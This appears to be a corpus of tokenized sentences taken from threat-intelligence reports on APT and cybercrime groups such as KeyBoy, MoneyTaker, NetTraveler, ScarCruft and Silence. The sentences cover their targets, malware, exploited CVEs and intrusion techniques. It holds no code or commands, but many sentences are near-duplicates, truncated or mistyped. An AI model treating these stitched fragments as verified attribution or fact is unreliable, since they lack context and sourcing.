The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against not only Tibetan groups , but also others related to Hong Kong , Taiwan , and Uyghur interests .
The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor first discussed in 2013 by Rapid7 .
This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco .
These versions of KeyBoy differed from the one first described by Rapid7 in several ways , many of which will be described in the sections to follow .
These samples were contained in exploit documents containing distinct lure content , one having a Tibetan nexus , the other an Indian nexus .
We believe the 2013 , 2015 , and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures .
In another modification , first observed in the most recent October 11 Parliamentarian operation ( version agewkassif ) , the developer (s ) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware .
Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
Chances are about even , though , that Mofang is a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved .
In addition to the campaign in Myanmar , Mofang has been observed to attack targets across multiple sectors ( government , military , critical infrastructure and the automotive and weapon industries ) in multiple countries .
This threat report gives insight into some of the information that Fox-IT has about a threat actor that it follows , called Mofang .
The name Mofang is based on the Mandarin verb , which means to imitate .
It is highly likely that the Mofang group is a group that operates out of China and is probably government-affiliated .
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Chapter 7 explains the working of Mofang 's preferred tools : ShimRat and SimRatReporter .
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Chapter 7 explains the working of Mofang 's preferred tools : ShimRat and SimRatReporter .
The Mofang group has been active in relation to the Kyaukphyu sez .
KeyBoy provides basic backdoor functionality , allowing the operators to select from various capabilities used to surveil and steal information from the victim machine .
The first attack started in early July with a ShimRatReporter payload .
Myanmar has been the target of Mofang 's attacks for years before the campaign related to the sez .
In late September 2015 Mofang used the website of Myanmar 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
In December 2012 Mofang started a campaign against a new target , called ' seg ' for the purpose of this report .
From the configuration it can be determined that the company was running F-Secure Antivirus and Mofang registered the domain to not appear suspicious .
In September 2015 Mofang launched another attack .
A new version of ShimRat was built on the 7th of September , uploaded to the server and only days later used in a new campaign .
MoneyTaker has primarily been targeting card processing systems , including the AWS CBR ( Russian Interbank System ) and purportedly SWIFT ( US ) .
Given the wide usage of STAR in LATAM , financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group .
In addition to banks , the MoneyTaker group has attacked law firms and also financial software vendors .
Since that time , the group attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
The first attack in the US that Group-IB attributes to MoneyTaker was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
The first attack in the US that Group-IB attributes to this group was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
In 2017 , the number of MoneyTaker 's attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
In 2017 , the number of attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
By analyzing the attack infrastructure , Group-IB identified that MoneyTaker group continuously exfiltrates internal banking documentation to learn about bank operations in preparation for future attacks .
Group-IB reports that MoneyTaker uses both borrowed and their own self-written tools .
Group-IB has provided Europol and Interpol with detailed information about the MoneyTaker group for further investigative activities as part of our cooperation in fighting cybercrime .
In late September 2015 Mofang used the website of Myanmara 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
To control the full operation , MoneyTaker uses a Pentest framework Server .
On it , MoneyTaker install a legitimate tool for penetration testing – Metasploit .
At the end of June 2015 Mofang started its campaign to gather information of a specific target in relation to the sezs : the cpg Corporation .
MoneyTaker uses ' fileless ' malware only existing in RAM and is destroyed after reboot .
To ensure persistence in the system MoneyTaker relies on PowerShell and VBS scripts - they are both difficult to detect by antivirus and easy to modify .
After successfully infecting one of the computers and gaining initial access to the system , the attackers perform reconnaissance of the local network in order to gain domain administrator privileges and eventually consolidate control over the network .
MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs .
This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
Since that time , MoneyTaker attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker , 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker ; 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
The NetTraveler trojan has been known to be used in targeted cyber espionage attacks for more than a decade by nation state threat actors and continues to be used to target its victims and exfiltrate data .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
Only one incident involving a Russian bank was promptly identified and prevented that is known to Group-IB .
This program is designed to capture keystrokes , take screenshots of the user 's desktop and get contents from the clipboard .
To conduct targeted attacks , MoneyTaker use a distributed infrastructure that is difficult to track .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
Hackers use Metasploit to conduct all these activities : network reconnaissance , search for vulnerable applications , exploit vulnerabilities , escalate systems privileges , and collect information .
Over the years they've used application components from Norman , McAfee and Norton .
Recently , Falcon Intelligence observed new activity from MUSTANG PANDA , using a unique infection chain to target likely Mongolia-based victims .
Throughout the years , the Mofang group has compromised countless servers belonging to government or other Myanmar related organizations , in order to stage attacks .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
A report published by Kaspersky Labs in 2011 on NetTraveler also mentions the C2 servers were being hosted by Krypt Technolgies .
Obviously , the developers behind NetTraveler have taken steps to try to hide the malware 's configuration .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Upon successful exploitation , the attachment will install the trojan known as NetTraveler using a DLL side-loading attack technique .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
WildFire correctly classifies NetTraveler as malicious .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
Today Kaspersky Lab 's team of experts published a new research report about NetTraveler , which is a family of malicious programs used by APT actors to successfully compromise more than 350 high-profile victims in 40 countries .
According to Kaspersky Lab 's report , this threat actor has been active since as early as 2004 ; however , the highest volume of activity occurred from 2010 – 2013 .
Most recently , the NetTraveler group 's main domains of interest for cyberespionage activities include space exploration , nanotechnology , energy production , nuclear power , lasers , medicine and communications .
In addition , the NetTraveler toolkit was able to install additional info-stealing malware as a backdoor , and it could be customized to steal other types of sensitive information such as configuration details for an application or computer-aided design files .
During Kaspersky Lab 's analysis of NetTraveler , the company 's experts identified six victims that had been infected by both NetTraveler and Red October , which was another cyberespionage operation analyzed by Kaspersky Lab in January 2013 .
Kaspersky Lab 's products detect and neutralize the malicious programs and its variants used by the NetTraveler Toolkit , including Trojan-Spy.Win32.TravNet and Downloader.Win32.NetTraveler .
Based on Kaspersky Lab 's analysis of NetTraveler 's C&C data , there were a total of 350 victims in 40 countries across including the United States , Canada , United Kingdom , Russia , Chile , Morocco , Greece , Belgium , Austria , Ukraine , Lithuania , Belarus , Australia , Hong Kong , Japan , China , Mongolia , Iran , Turkey , India , Pakistan , South Korea , Thailand , Qatar , Kazakhstan , and Jordan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
In this case , it was a group commonly referred to as " Nitro " , which was coined by Symantec in its 2011 whitepaper .
Historically , Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware , which was not seen in these attacks .
Since at least 2013 , Nitro appears to have somewhat modified their malware and delivery methods to include Spindest and legitimate compromised websites , as reported by Cyber Squared 's TCIRT .
In July , Nitro compromised a South Korean clothing and accessories manufacturer 's website to serve malware commonly referred to as " Spindest " .
Of all the samples we've tied to this activity so far noted in this blog , this is the only one configured to connect directly to an IP address for Command and Control ( C2 ) .
The next sample was another Spindest variant and had the same timestamp as the aforementioned PcClient sample .
As this post and previous cited research show , APT groups such as Nitro will continue to evolve their techniques within the kill chain to avoid detection .
Attacks on the chemical industry are merely their latest attack wave .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
The attack wave started in late July 2011 and continued into midSeptember 2011 .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
They then moved on to the motor industry in late May .
From late April to early May , the attackers focused on human rights related NGOs .
Attackers then moved on to the motor industry in late May .
At this point , the current attack campaign against the chemical industry began .
The attackers first researched desired targets and then sent an email specifically to the target .
First , when a specific recipient was targeted , the mails often purported to be meeting invitations from established business partners .
While the attackers used different pretexts when sending these malicious emails , two methodologies stood out .
Secondly , when the emails were being sent to a broad set of recipients , the mails purported to be a necessary security update .
The attacks were traced back to a computer system that was a virtual private server ( VPS ) located in the United States .
Attackers are sending malicious PDF and DOC files , which use exploits to drop variants of Backdoor.Sogu .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
The Sogu gang use a custom developed threat – Backdoor.Sogu , whereas the group described in this document use an off the shelf threat – Poison Ivy .
The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
Nitro 's campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions .
The attackers try to lure targets through spear phishing emails that include compressed executables .
We found that the group behind this campaign targeted mainly industrial , engineering and manufacturing organizations in more than 30 countries .
Using the Kaspersky Security Network ( KSN ) and artifacts from malware files and attack sites , we were able to trace the attacks back to March 2015 .
Operation Ghoul is one of the many attacks in the wild targeting industrial , manufacturing and engineering organizations , Kaspersky Lab recommends users to be extra cautious while checking and opening emails and attachments .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People's Republics .
The attacks appear to be geopolitically motivated and target high profile organizations .
The objective of the attacks is clearly espionage – they involve gaining access to top legislative , executive and judicial bodies around the world .
The attackers have targeted a large number of organizations globally since early 2017 , with the main focus on the Middle East and North Africa ( MENA ) , especially Palestine .
The attacks were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
Like BlackEnergy ( a.k.a Sandworm , Quedagh ) , Potao is an example of targeted espionage ( APT ) malware detected mostly in Ukraine and a number of other CIS countries , including Russia , Georgia and Belarus .
The main reason for the increase in Potao detections in 2014 and 2015 were infections through USB drives .
The first Potao campaign that we examined took place in August 2011 .
In March 2014 , the gang behind Potao started using a new infection vector .
Since March 2015 , ESET has detected Potao binaries at several high-value Ukrainian targets that include government and military entities and one of the major Ukrainian news agencies .
As confirmation that the malware writers are still very active even at the time of this writing , ESET detected a new Potao sample compiled on July 20 , 2015 .
In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples .
Potao is another example of targeted espionage malware , a so-called APT , to use the popular buzzword , although technically the malware is not particularly advanced or sophisticated .
Examples of notable Potao dissemination techniques , some of which were previously unseen , or at least relatively uncommon , include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into ' willingly ' executing the trojan .
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates .
The PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
he PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
PassCV continues to maintain a heavy reliance on obfuscated and signed versions of older RATs like ZxShell and Ghost RAT , which have remained a favorite of the wider Chinese criminal community since their initial public release .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
The first new connection SPEAR identified was derived from an email address listed in Blue Coat Systems' original report on PassCV .
Syncopate is a well-known Russian company that is best known as the developer and operator of the ' GameNet ' platform .
The PassCV group continues to be extremely effective in compromising both small and large game companies and surreptitiously using their code-signing certificates to infect an even larger swath of organizations .
Since the last report , PassCV has significantly expanded its targets to include victims in the United States , Taiwan , China and Russia .
Based on data collected from Palo Alto Networks AutoFocus threat intelligence , we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe , with a concentration of attacks in late October and continuing into December .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
BBSRAT is typically packaged within a portable executable file , although in a few of the observed instances , a raw DLL was discovered to contain BBSRAT .
WildFire properly classifies BBSRAT malware samples as malicious .
This week we will discuss another Chinese nexus adversary we call Samurai Panda .
Samurai Panda is interesting in that their target selection tends to focus on Asia Pacific victims in Japan , the Republic of Korea , and other democratic Asian victims .
Next , in an effort to demonstrate it wasn't relegated to China , CrowdStrike exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Next , in an effort to demonstrate it wasn't relegated to China , we exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Beginning in 2009 , we've observed this actor conduct more than 40 unique campaigns that we've identified in the malware configurations' campaign codes .
These codes are often leveraged in the malware used by coordinated targeted attackers to differentiate victims that were successfully compromised from different target sets .
When conducting programmatic espionage activity , it can presumably become quite confusing if the attacker targets a heavy industry company , an avionics program , and seven other unique targets as to which infected host you will collect what information from .
These rules detect the malware " beaconing " to the command-and-control server , the initial malware check-in , and an attempt to download a backdoor module .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
Securelist believe the attacks are launched by an APT Group we track under the codename " ScarCruft " .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
ScarCruft has several ongoing operations , utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
After publishing our initial series of blogposts back in 2016 , Kaspersky have continued to track the ScarCruft threat actor .
After publishing our initial series of blogposts back in 2016 , we have continued to track the ScarCruft threat actor .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
The ScarCruft group uses common malware delivery techniques such as spear phishing and Strategic Web Compromises ( SWC ) .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
ScarCruft uses a multi-stage binary infection scheme .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
The ScarCruft group keeps expanding its exfiltration targets to steal further information from infected hosts and continues to create tools for additional data exfiltration .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
We believe they may have some links to North Korea , which may explain why ScarCruft decided to closely monitor them .
ScarCruft also attacked a diplomatic agency in Hong Kong , and another diplomatic agency in North Korea .
It appears ScarCruft is primarily targeting intelligence for political and diplomatic purposes .
ScarCruft infected this victim on September 21 , 2018 .
But before the ScarCruft infection , however , another APT group also targeted this victim with the host being infected with GreezeBackdoor on March 26 , 2018 .
ScarCruft has a keen interest in North Korean affairs , attacking those in the business sector who may have any connection to North Korea , as well as diplomatic agencies around the globe .
Earlier this month , we caught another zero-day Adobe Flash Player exploit deployed in targeted attacks .
ScarCruft is a relatively new APT group ; victims have been observed in several countries , including Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Currently , the group is engaged in two major operations : Operation Daybreak and Operation Erebus .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
We will publish more details about the attack once Adobe patches the vulnerability , which should be on June 16 .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Attacks start with spear-phishing emails that include a link to a website hosting an exploit kit associated with ScarCruft and used in other attacks .
Another set of attacks called Operation Erebus leverages another Flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019 .
Cisco Talos assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
We assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
The common use of the Enfal Trojan suggests that Shadow Network may be exchanging tools and techniques .
While Silence had previously targeted Russian banks , Group-IB experts also have discovered evidence of the group 's activity in more than 25 countries worldwide .
In August 2017 , the National Bank of Ukraine warned state-owned and private banks across the country about a large-scale phishing attack .
The threat actor used an exploit from the arsenal of the state-sponsored hacker group APT28 .
The new threat actor group was eventually named Silence .
Silence is a group of Russian-speaking hackers , based on their commands language , the location of infrastructure they used , and the geography of their targets ( Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan ) .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
Silence also used Russian-language web hosting services .
Financially motivated APT groups which focus efforts on targeted attacks on the financial sector such as — Anunak , Corkow , Buhtrap — usually managed botnets using developed or modified banking Trojans .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
Group-IB researchers were tracking Silence throughout this period and conducting response following incidents in the financial sector .
Group-IB detected the first incidents relating to Silence in June 2016 .
One of Silence 's first targets was a Russian bank , when they tried to attack AWS CBR .
They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt .
Silence try to apply new techniques and ways of stealing from various banking systems , including AWS CBR , ATMs , and card processing .
Silence 's successful attacks currently have been limited to the CIS and Eastern European countries .
He is responsible for developing tools for conducting attacks and is also able to modify complex exploits and third party software .
Silence 's main targets are located in Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
In the same year , they conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In two months , the group returned to their proven method and withdrew funds again through ATMs .
In September 2017 , we discovered a new targeted attack on financial institutions .
In September 2017 , we discovered Silence attack on financial institutions .
The infection vector is a spear-phishing email with a malicious attachment .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
The spear-phishing infection vector is still the most popular way to initiate targeted campaigns .
We conclude that the actor behind the attack is Silence group , a relatively new threat actor that's been operating since mid-2016 .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
As shown above , the threat runs several native binaries to collect useful information for its recon phase .
The intelligence we have collected shows that Silence is part of a more extensive operation , still focused on financial institutions operating mainly on Russian territory .
These spearphishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting .
Based on file modification dates and timestamps of samples , it appears that the observed campaign was initiated in the middle of February 2016 , with the infrastructure taken offline at the start of March .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language word for " visage " or " appearance " .
Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
The Sima group also engaged in impersonation of Citizenship and Immigration Services at the Department of Homeland Security , posing as a notice about the expiration of the recipient 's Permanent Residence status .
In another case , Sima mirrored an announcement made about the broadcast of a television program on Iranian-American cultural affairs in order to impersonate the individual and engage in spearphishing within hours of the legitimate message .
The server used to host these malware samples was located on the German provider Hetzner ( 148.251.55.114 ) , within a small block of IP addresses that are registered with the customer ID " HOS-156205 " .
All the samples appear to be have been compiled between February 29 and March 1 2016 , shortly before our discovery , suggesting that , despite the known C&C servers having quickly gone offline shortly after , this spree of attacks might be fresh and currently undergoing .
These archives provide further indication that those entities behind the campaigns are Persian-language speakers , due to the naming of files and folders in Persian .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
Butterfly has attacked multi-billion dollar companies operating in the internet , IT software , pharmaceutical , and commodities sectors .
The first signs of Butterfly 's activities emerged in early 2013 when several major technology and internet firms were compromised .
However , an investigation by Symantec has found that the group has been active since at least March 2012 and its attacks have not only continued to the present day , but have also increased in number .
Symantec has to date discovered 49 different organizations in more than 20 countries that have been attacked by Butterfly .
Aside from the four companies which have publicly acknowledged attacks , Symantec has identified five other large technology firms compromised by Butterfly , primarily headquartered in the US .
In the first attack , Butterfly gained a foothold by first attacking a small European office belonging to one firm and using this infection to then move on to its US office and European headquarters .
However , technology is not the only sector the group has focused on and Symantec has found evidence that Butterfly has attacked three major European pharmaceutical firms .
Butterfly has also shown an interest in the commodities sector , attacking two major companies involved in gold and oil in late 2014 .
The company specializes in finance and natural resources specific to that region .
The latter was one of at least three law firms Butterfly has targeted over the past three years .
In many attacks , the group has succeeded in compromising Microsoft Exchange or Lotus Domino email servers in order to intercept company emails and possibly use them to send counterfeit emails .
A powerful threat actor known as " Wild Neutron " ( also known as " Jripbot " and " Morpho " ) has been active since at least 2011 , infecting high profile companies for several years by using a combination of exploits , watering holes and multi-platform malware .
Based on the profile of the victims and the type of information targeted by the attackers , Symantec believes that Butterfly is financially motivated , stealing information it can potentially profit from .
Wild Neutron hit the spotlight in 2013 , when it successfully infected companies such as Apple , Facebook , Twitter and Microsoft .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
During the 2013 attacks , the Wild Neutron actor successfully compromised and leveraged the website www.iphonedevsdk.com , which is an iPhone developers forum .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
While the group used watering hole attacks in 2013 , it's still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks .
Wild Neutron 's tools include a password harvesting trojan , a reverse-shell backdoor and customized implementations of OpenSSH , WMIC and SMB .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases , a small number of computers have been infected throughout Wild Neutron .
Wild Neutron 's targeting of major IT companies , spyware developers ( FlexiSPY ) , jihadist forums ( the " Ansar Al-Mujahideen English Forum " ) and Bitcoin companies indicate a flexible yet unusual mindset and interests .
We continue to track the Wild Neutron group , which is still active as of June 2015 .
A ransomware variant dubbed PyLocky was observed in September 2018 being distributed by a phishing campaign using an invoicing theme .
PyLocky was found to be targeting entities in France and Germany .
Fxmsp specialize in breaching highly secure protected networks to access private corporate and government information .
Fxmsp is a hacking collective that has operated in various top-tier Russian- and English-speaking underground communities since 2017 .
Throughout 2017 and 2018 , Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground .
On April 24 , 2019 , Fxmsp claimed to have secured access to three leading antivirus companies .
According to the Fxmsp , they worked tirelessly for the first quarter of 2019 to breach these companies and finally succeeded and obtained access to the companies' internal networks .
Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the bodyFor example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2 This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP port 443 .
Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The contents of the decoy PDF is a job descriptions with the South Korean Coast Guard .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
The targets are military or defense industry in particular countries ,it used DDNS for C2 servers , and tracked connections from their victims by using target or campaign codes ,as well as disguising the malware as document file , and using a dropper to install the malware and decoy file .
A previous campaign of this APT group was uncovered by Talos in June 2017 , and since then very little of this operation was seen in the wild .
ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name isInterenet Assistant.exe” .
After reviewing all the malware functionalities ,we are confident in saying that the attackers look for victims who answer well-defined characteristics and believe that further stages of the attack are delivered only to those who fit the specific victim profile .
In this sample , however , the module names were changed from actors and characters’ names to car models , namely BMW_x1” , BMW_x2” and up to BMW_x8” .
But , thanks to the attackers known affection for decoy documents that pose as news summaries ,we were able to date the campaign back to March 2018 .
With the experience gained from the APT attack that began in March 2017 , it seems this campaign has evolved into an attack with new capabilities , and an even more specific target , over a year later .
These unknown actors continued launching DDoS attacks over the next few years .
For simplicity , Kaspersky is calling them the BlackEnergy APT group .
Since the middle of 2015 ,one of the preferred attack vectors for BlackEnergy in Ukraine has been Excel documents with macros that drop the Trojan to disk if the user chooses to run the script in the document .
A very good analysis and overview of the BlackEnergy attacks in Ukraine throughout 2014 and 2015 was published by the Ukrainian security firm Cys Centrum the text is only available in Russian for now ,but can be read via Google Translate .
The earliest signs of destructive payloads with BlackEnergy go back as far as June 2014 .
BlackEnergy is a highly dynamic threat actor and the current attacks in Ukraine indicate that destructive actions are on their main agenda , in addition to compromising industrial control installations and espionage activities .
Kaspersky will continue to monitor the BlackEnergy attacks in Ukraine and update our readers with more data when available .
From Buhtrap perpetrating cybercrime for financial gain ,its toolset has been expanded with malware used to conduct espionage in Eastern Europe and Central Asia .
Throughout our tracking ,we've seen this group deploy its main backdoor as well as other tools against various victims , but June 2019 was the first time we saw the Buhtrap group use a zero-day exploit as part of a campaign .
In that case ,we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
However , as the shift in targets occurred before the source code leak ,we assess with high confidence that the same people behind the first Buhtrap malware attacks against businesses and banks are also involved in targeting governmental institutions .
When Buhtrap was targeting businesses , the decoy documents would typically be contracts or invoices .
The Buhtrap group is well known for its targeting of financial institutions and businesses in Russia .
Figure 2 is a typical example of a generic invoice the group used in a campaign in 2014 .
When the group's focus shifted to banks ,the decoy documents were related to banking system regulations or advisories from FinCERT ,an organization created by the Russian government to provide help and guidance to its financial institutions .
We confirmed that this is a DarkHydrus Group's new attack targeting Middle East region .
In July 2018 ,Palo Alto disclosed DarkHydrus Group which showed its special interest to governments in Middle East .
Prior to that report ,we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) ,which is believed a work of DarkHydrus .
the final payload is something that welivesecurity have never seen associated with Buhtrap .
